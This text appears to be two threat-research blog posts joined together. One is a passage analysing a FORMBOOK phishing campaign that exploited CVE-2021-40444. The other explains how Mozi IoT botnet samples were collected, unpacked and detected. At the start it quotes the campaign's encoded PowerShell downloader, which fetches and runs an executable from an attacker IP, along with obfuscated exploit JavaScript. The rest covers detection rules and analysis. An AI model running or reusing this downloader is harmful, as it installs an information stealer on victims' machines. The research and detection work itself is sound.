echo "aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"\ | base64 -D
iex ((new-object system.net.webclient).downloadfile(“http://104[.]244[.]78[.]177/abb01.exe”,”$env:LOCALAPPDATA\dllhostSvc.exe”));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exe”

We'll continue to explore this file to identify how the script job is executed. As we displayed above, the file still has the Rar! header, so we can decompress this archive. First, we'll use the unrar program with the e switch to decompress the RAR archive and retrieve the contents: document.docx.

$ unrar e Profile.rar
Extracting from Profile.rar
Extracting  document.docx                                             OK
All OK

document.docx

While Profile.rar appears to be a compressed archive, the PowerShell script won’t download and execute abb01.exe automatically upon decompressing it. To execute that script, the compressed document within Profile.rar, document.docx, must be opened.

Using the same technique as we highlighted in the Testing phase, we decompressed document.docx and examined the document relationship file (word/_rels/document.xml.rels). As previously described, we observed a remote OLE object stored and formatted as an HTML entity code block that we can decode using CyberChef.

We see the same IP address, 104[.]244[.]78[.]177 and a new filename called Profile.html.

Profile.html

Based on the HTML code, this initially appeared to be an Apache landing page. However, closer inspection identified another obfuscated JavaScript towards the bottom of the page.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        -->
<title>Getting Started - Apache HTTP Server Version 2.5</title>
...truncated…
<script>function a(){var l=['wexcKvyUWOi','ntu3ndaWmeHNC0HOsq','nfPrsujOwG','amohWRqfW5xcNSk/r23cO8kClG','
iSkfW5hcTSk4jmk4xmk2W73dSCkjWOq','ndCXnZeXDLf1tKLj','WRSYCcCZzmkmaW','WQzEqb5xWOldVWXBgSkSWRyp','AhrTBgzPBgu',
'W5tdO1L3WOFdISk8W50','u2nYAxb0','lNDZzJOUlI8UlI8UlI9ezxnRDg9Wl1bYB2zPBguUCMfYpY53C2y','iCkEW592W77cNa',
'WReLW5ddJGiJWRhcRMuYW40LW4v9xSkJWRNcObFdLSkEW5hcMe1kW4JcHL84W7WgWPtcNt4eW4NcP8oZy8kN',
'lNDZzJOUlI8UlI9eB3DUBg9HzhmVuhjVzMLSzs5Yyxi/lNDZzG','ndaWmtu5BvbZqxHH','Bg9JyxrPB24',
'ex3cTSkNW5z+w2RcKGhdLs/dNbBdImoknSk1FwVdQL/cVSkWWRC9WPldO3/dRLv5lt5lW4XFWRVcGWxcNsiX','nZa3mZKWnNP1zffirq',
'bxy1yvlcHujyqSkly2ldHvDrW5vJW7HQW5mZimkKWPJcQJClD0j3WO5SW6KTqmozaWOzACoc','mtKXmZq5mLbREgPOqW','W73dMrjjW53cQaBcVq',
...truncated…
ActiveXObject(j(0x144))[k(0x13c,'k0X5')][j(0x14c)]=k(0x14d,'[Otp'),new ActiveXObject('htmlfile')[j(0x146)]['location']=j(0x14a),new ActiveXObject('htmlfile')[k(0x148,
'MCjf')][k(0x138,'kZYE')]=j(0x147),new ActiveXObject(j(0x144))[j(0x146)][k(0x142,'Lz1J')]=k(0x14f,'BiKg'),new ActiveXObject(k(0x145,'h]@1'))[j(0x146)][j(0x14c)]=k(0x13a,'!v$V'));</script>

Deobfuscating the JavaScript using the same debugger as before, we can see several ActiveXObjects. This time, however, there are far fewer and the execution is more prescripted, eliminating useless calls. This shows a refinement from before. This newer code also uses a .wsf extension instead of the previous .cpl. This allows the exploit to use the Windows Scripting Host to execute code. This is the same directory traversal technique we observed in the Testing phase. However, this time the JavaScript is looking for the Profile.rar file (whereas in the Testing phase, it was looking for IECache.inf) and attempting to execute the PowerShell script, which was prepended in Profile.rar as a Windows Script File (.wsf).

Dropper

As we illustrated above, Profile.rar has a prepended Base64 encoded PowerShell command which downloads abb01.exe. The JavaScript from Profile.html attempts to execute this PowerShell code within Profile.rar as a Windows Script File.

abb01.exe is a dropper that when dynamically executed, drops another PE file, yxojzzvhi0.exe in our example.

FORMBOOK Binary

yxojzzvhi0.exe was scanned with Elastic YARA rules and identified to be a variant of FORMBOOK, based on unique byte sequences.

FORMBOOK, also known as XLOADER, is an information stealer that includes keyloggers, clipboard copiers, and form grabber components to collect and exfiltrate sensitive information. This malware has been offered as-a-service for over five years and remains a successful tool for stealing information.

Generic phase

On October 28 and November 8, 2021, we observed additional sightings but used a generic phishing attachment tactic to load FORMBOOK. Additionally, we were able to collect some information from the email header that we’ll discuss in the Campaign Analysis section.

These sightings all have two RAR attachments. One of the attachments has a .rar file extension and the other has either a .gz or .7z extension. We’ll explore one of the sightings below.

$ file D2110-095.gz DWG.rar
D2110-095.gz: RAR archive data, v5
DWG.rar:      RAR archive data, v5

The RAR files contained two PE files. They were identical instances of a very common FORMBOOK variant.

$ omnihash DWG.exe D2110-095.exe
Hashing file DWG.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
Hashing file D2110-095.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096

Campaign analysis

While researching this FORMBOOK campaign, we observed infrastructure reuse and tooling similarities during testing and operational phases, which we believe represent a single campaign.

Email header

Throughout all sightings, the campaign used similar sending email addresses:

• admin0011[@]issratech.com
• admin010[@]backsjoy.com
• admin012[@]leoeni.com

Additionally, across the Production and Generic phases of the campaign, we observed the X-Mailer element (the software identifier set by the sending email client) as RainLoop/1.16.0. RainLoop is an open-source email client. It should be noted that in our collection, one sighting had some header information sanitized before being uploaded to VirusTotal. RainLoop could have been referenced in this sighting, but we were not able to confirm that.

File hashes

Across the Production phase, we were able to identify code sharing through the use of the same attachment (Profile.rar).

IP addresses

Across the Testing and Production phases, we observed that 104[.]244[.]78[.]177 was used for all elements of the campaigns. This IP address was used to host archives, implants, and scripts.

Resource development

As research progressed, we observed activities we believed were capability testing. This activity was observed one time and used artifacts (IEcache.inf, document.xml.rels) from a public CVE-2021-40444 exploit proof-of-concept repository. Other phases included custom exploit code that differed from the PoC code but shared initial access and execution TTPs as well as the same network infrastructure.

We observed that the issratech[.]com, backsjoy[.]com, and leoeni[.]com domains own TLS certificates provided by Let’s Encrypt. While the steps of creating a TLS certificate are not overly cumbersome, the fact that the domain owner went through the preparatory process of creating a certificate could indicate that these domains are intended to be used for future encrypted operations.

In the Generic phase, the campaign abandoned the MSHTML exploit and attempted to leverage a traditional phishing malware-attachment approach. This shift in tactics is possibly because successful exploit patching rendered the vulnerability ineffective.

Victimology

We observed that of the four companies targeted by this campaign, all were in the manufacturing vertical. Threat actors utilizing FORMBOOK have been observed targeting the manufacturing vertical in the past. The companies all had international footprints in:

• Industrial Materials, Aluminum extrusion, HQ in Germany (Testing phase)
• Industrial Conglomerate, Industrial Chemicals, HQ in South Korea (Production phase)
• Industrial Manufacturing Products and Consulting, HQ in Switzerland (Generic phase)
• Industrial Mechanical Engineering and Manufacturing, HQ in Germany (Generic phase)

While the targeted companies are of note (in that they are in the same vertical), an email address domain observed in all three phases — issratech[.]com, appears similar to a legitimate Jamaican company domain, isratech[.]com (notice the difference between one and two s's), a business that specializes in irrigation, wastewater management, and solar energy. Below, is a screenshot of issratech[.]com using the default CyberPanel landing page. CyberPanel is a web hosting tool for WordPress sites.

Each targeted company of the admin0011[@]issratech.com email address have expertise or products that could have been valuable to an Isratch project listed on their projects page (https://www.isratech[.]com/projects/):

• Chemical: Waste-water treatment, dairy production sanitation
• Extruded aluminum: Solar array scaffolding, greenhouses

Two additional email address domains were observed in the Generic phase — one appears to be mimicking a legitimate medical equipment manufacturer (backjoy[.]com) and the other (leonei[.]com) appears to be adversary controlled, but seemingly not being used for legitimate purposes.

leonei[.]com is protected by a Denial-of-Service protection service, so their domain IP address likely represents multiple legitimate domains and any blocking of the leonei[.]com IP address from the indicator table should be carefully measured.

It is possible, but not confirmed, that the recipients of the phishing emails in all phases are from a list of email addresses in the manufacturing vertical. These email lists are commonly available for purchase to enable sales, marketing, and business-to-business (B2B) efforts but can also be used for phishing campaigns.

Tactics

Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.

Observed tactics:

• Resource development
• Initial access
• Execution

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Observed techniques/sub techniques

• Acquire infrastructure - server
• Obtain capabilities - malware and exploits
• Stage capabilities - upload malware
• Phishing - attachment
• Command and scripting interpreter - PowerShell
• Exploitation for client execution

Detections

Hunting queries

These queries can be used in Kibana’s Security → Timelines → New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.

This query will identify the CVE-2021-40444 exploit attempt from a malicious Access, Publisher, PowerPoint, or Word document.

process where event.type in ("start", "process_started") and process.parent.name : ("eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe") and process.command_line :
            ("*../../..*",
            "*..\\..\\*",
            "*cpl:..*",
            "*hta:..*",
            "*js:..*",
            "*jse:..*",
            "*sct:..*",
            "*vbs:..*",
            "*wsf:..*")

YARA rule

We have created a YARA rule to identify this FORMBOOK activity.

rule Windows_Trojan_FORMBOOK {
    meta:
        author = "Elastic Security"
        creation_date = "2021-06-14"
        last_modified = "2021-08-23"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "FORMBOOK"
        threat_name = "Windows.Trojan.FORMBOOK"
        reference_sample = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
    strings:
        $a1 = { 3C 30 50 4F 53 54 74 09 40 }
        $a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
        $a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
        $a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
    condition:
        any of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

1. Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat
2. Review and ensure that you have deployed the latest Microsoft Security Updates
3. Maintain backups of your critical systems to aid in quick recovery

References

The following research was referenced throughout the document:

• https://nvd.nist.gov/vuln/detail/CVE-2021-40444
• https://twitter.com/vxunderground/status/1436326057179860992?s=20
• https://github.com/lockedbyte/CVE-2021-40444
• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
• https://github.com/aslitsecurity/CVE-2021-40444_builders
• https://github.com/klezVirus/CVE-2021-40444
• https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/
• https://github.com/Edubr2020/CVE-2021-40444–CABless
• https://twitter.com/vxunderground/status/1436326057179860992?s=20
• https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I

Indicators

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was first reported by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.

As reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.

Mozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.

Collection

When performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.

To begin, we started with a handful of Mozi samples collected from ThreatFox. ThreatFox is an open source platform from Abuse.ch with the goal of sharing malware indicators with the security research community.

Using cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.

curl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ "query": "taginfo", "tag": "Mozi", "limit": 1 }'

Code block 1 - cURL request to ThreatFox API

• -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the ThreatFox API
• https://threatfox-api.abuse.ch/api/v1/ - this is the ThreatFox API endpoint
• -d - this is denoting that we’re going to be sending data
• query: taginfo - the type of query that we’re making, taginfo in our example
• tag: Mozi - the tag that we’ll be searching for, “Mozi” in our example
• limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results

This returned the following information:

{
    "query_status": "ok",
    "data": [
        {
            "id": "115772",
            "ioc": "nnn.nnn.nnn.nnn:53822",
            "threat_type": "botnet_cc",
            "threat_type_desc": "Indicator that identifies a botnet command&control server (C&C)",
            "ioc_type": "ip:port",
            "ioc_type_desc": "ip:port combination that is used for botnet Command&control (C&C)",
            "malware": "elf.mozi",
            "malware_printable": "Mozi",
            "malware_alias": null,
            "malware_malpedia": "https:\/\/malpedia.caad.fkie.fraunhofer.de\/details\/elf.mozi",
            "confidence_level": 75,
            "first_seen": "2021-06-15 08:22:52 UTC",
            "last_seen": null,
            "reference": "https:\/\/bazaar.abuse.ch\/sample\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\/",
            "reporter": "abuse_ch",
            "tags": [
                "Mozi"
            ]
        }
    ]

Code block 2 - Response from ThreatFox API

Now that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).

Just like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (“Mozi”, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we’ll use later on for data enrichment.

curl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file&sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw

Code block 3 - cURL request to Malware Bazaar API

• -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the Malware Bazaar API
• https://mb-api.abuse.ch/api/v1 - this is the Malware Bazaar API endpoint
• -d - this is denoting that we’re going to be sending data
• query: get_file - the type of query that we’re making, get_file in our example
• sha256_hash - the SHA256 hash we’re going to be collecting, “832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b” in our example
• -o - the file name we’re going to save the binary as

This will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we’ll use a shorter name for this file, truncated-87d3b.elf, for readability.

Unpacking

Now that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running Sysinternals Strings over our sample:

$ strings truncated-87d3b.elf
ELF
*UPX!
ELF
$Bw
(GT
...

Code block 3 - Strings output from the packed Mozi sample

Right away we see that we have a UPX packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the -d switch.

$ upx -d truncated-87d3b.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted

Code block 4 - UPX output from corrupted Mozi sample

Another road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a CUJOAI Anti-Unpacking blog explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.

Using this information, we cracked open our binary in xxd, a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).

$ xxd truncated-87d3b.elf
00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000  .ELF...a........
00000010: 0200 2800 0100 0000 1057 0200 3400 0000  ..(......W..4...
00000020: 0000 0000 0202 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000  ................
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600  .........z......
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000  ................
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17  .......RUPX!....
00000080: 0000 0000 0000 0000 0000 0000 9400 0000  ................
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261  ^.........ELF.ra
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07  ....(........4..
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009  .(...... .......
...

Code block 5 - HEX view of the corrupted Mozi sample

The CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).

$ xxd truncated-87d3b.elf
...
0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805  .......]9.G'..(.
0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e  .......'R..`..'>
0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000  ..X1`...........
0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308  UPX!....UPX!....
0001e100: 5199 6237 591c 321c d001 0000 b800 0000  Q.b7Y.2.........
0001e110: 7c2a 0400 5000 0011 8000 0000            |*..P.......

Code block 6 - p_info HEX data from the corrupted Mozi sample

First, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.

$ vim truncated-87d3b.elf
^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@<80>^@^@^@<80>^@^@^Mà^A^@^Mà^A^@^E^@^@^@^@<80>^@^@^A^@^@^@°z^@^@°ú^F^@°ú^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@<80>^@^@^Pñ<8f>RUPX!^\

Code block 7 - Corrupted Mozi sample in Vim

Using the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.

00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000  .ELF...a........
00000010: 0200 2800 0100 0000 1057 0200 3400 0000  ..(......W..4...
00000020: 0000 0000 0202 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000  ................
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600  .........z......
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000  ................
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17  .......RUPX!....
00000080: 0000 0000 0000 0000 0000 0000 9400 0000  ................
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261  ^.........ELF.ra
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07  ....(........4..
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009  .(...... .......

Code block 8 - Corrupted Mozi sample in Vim with XXD plugin

Next, we can just update bytes 0x84 - 0x8b(that we identified as having the zero’d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).

00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000  ....|*..|*......

Code block 9 - Updated p_filesize and p_blocksize HEX values

Let’s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).

Finally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.

$ upx -d truncated-87d3b.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    273020 <-    123165   45.11%    linux/arm    truncated-87d3b.elf
Unpacked 1 file.

Code block 10 - Successfully unpacked Mozi sample

We now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the file command.

$ file truncated-87d3b.elf
truncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

Code block 11 - File type identification of the Mozi sample

Now, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).

$ strings truncated-87d3b.elf
...
iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --destination-port %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
iptables -I INPUT  -p udp --dport %d -j ACCEPT
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --dport %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
0.0.0.0
[idp]
This node doesn't accept announces
v2s
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
nnn.nnn.nnn.nnn:6881
abc.abc.abc.abc:6881
xxx.xxx.xxx.xxx:6881
yyy.yyy.yyy.yyy:6881
NfZ
Oo~Mn
g5=
N]%
Range: bytes=
User-Agent:
...

Code block 12 - Strings output from the unpacked Mozi sample

Running Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.

Next, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.

Storing threat data in the Elastic Stack

Looking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.

For the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.

Create the Ingest Node Pipeline

We're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.

Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data

To create the pipeline, go to Kibana Stack Management -> Ingest Node Pipelines , then click Create pipeline.

Next, we’ll give our pipeline a name, optionally a version, and a description.

From this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the ThreatFox pipeline definition here you can paste in.

Click Import processors and paste the contents of this pipeline definition: pipeline.json.

When you click Load and overwrite , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click Create pipeline.

Alternatively, if you’d like to use a turnkey approach, the collection.sh script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.

$ git clone https://github.com/elastic/examples
$ cd examples/blog/mozin-about
$ sh collection.sh

Code block 13 - Using the Mozi sample collection script

Using the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.

Figure 3 - ThreatFox data in Kibana

Analysis

Now that we’ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.

As a few quick examples, we can identify some ports that are used and countries that are included in the dataset.

Let’s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on Visualization Library → Create visualization → Lens. We can make a simple donut chart to highlight that the threat.indicator.port of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.

Of note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.

Next, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type.

Similar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.

This is useful information we can make the following analytical assertions based on our sampling:

• Mozi botnet is currently active and maintaining steady infection rates
• Port 6000 is a dominant port used for command & control
• At least 24 countries impacted suggests global threat with no specific targeting
• Clusters of specific ASNs in Bulgaria and India stand out with highest volumes

As the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.

Exploring the propagation mechanism

In the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.

One thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.

curl -I nnn.nnn.nnn.nnn:53822
HTTP/1.1 200 OK
Server: nginx
Content-Length: 132876
Connection: close
Content-Type: application/zip

Code block 14 - HTTP response from a compromised device

Based on the observed response back, we can pull back some interesting information such as:

• The use of an NGINX web server
• No HTTP Date Header provided
• The size of the file returned is close to 133 kilobytes

With this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like Shodan, we can perform a search using the information obtained in the HTTP response. We’ll wildcard the Content-Length but use the same order for all of the HTTP response elements:

HTTP/1.1 200 OK Server: nginx Content-Length: * Connection: close Content-Type: application/zip

Code block 15 - HTTP header for Mozi propagation

We can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines. Below are a few examples from a Shodan search:

Other search examples over response data could be used as well such as the actual bytes of the malicious Mozi file that was returned in the response.

Mitigation

The Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits and outdated software versions. To defend devices from exploitation, we recommend:

• Changing the device default remote access passphrases
• Updating devices to the latest firmware and software version supported by the vendor
• Segmenting IoT devices from the rest of your internal network
• Not making IoT devices accessible from the public Internet

Detection logic

Using YARA, we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples. There are a litany of other obfuscation and anti-analysis techniques that could be used with other samples. MITRE ATT&CK® describes additional subtechniques for the Obfuscated Files or Information technique from the Defense Evasion tactic.As noted above, the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the “UPX!” magic bytes, and the 4 bytes before that are always zero, so let's use a YARA signature derived from the work by Lars Wallenborn (expanded for readability).

rule Mozi_Obfuscation_Technique
{
  meta:
    author =  "Elastic Security, Lars Wallenborn (@larsborn)"
    description = "Detects obfuscation technique used by Mozi botnet."
  strings:
    $a = { 55 50 58 21
           [4]
           00 00 00 00
           00 00 00 00
           00 00 00 00 }
  condition:
    all of them
}

Code block 16 - YARA signature detecting Mozi obfuscation

• 55 50 58 21 - identifies the UPX magic bytes
• [4] - offset by 4 bytes, the l_lsize, l_version & l_format
• 00 00 00 00 - identifies the program header ID
• 00 00 00 00 - identifies the zero’d out p_filesize
• 00 00 00 00 - identifies the zero’d out p_blocksize
• condition - requires that all of the above strings exist for a positive YARA signature match

The above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, p_filesize, and p_blocksize elements zero’d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.

Summary

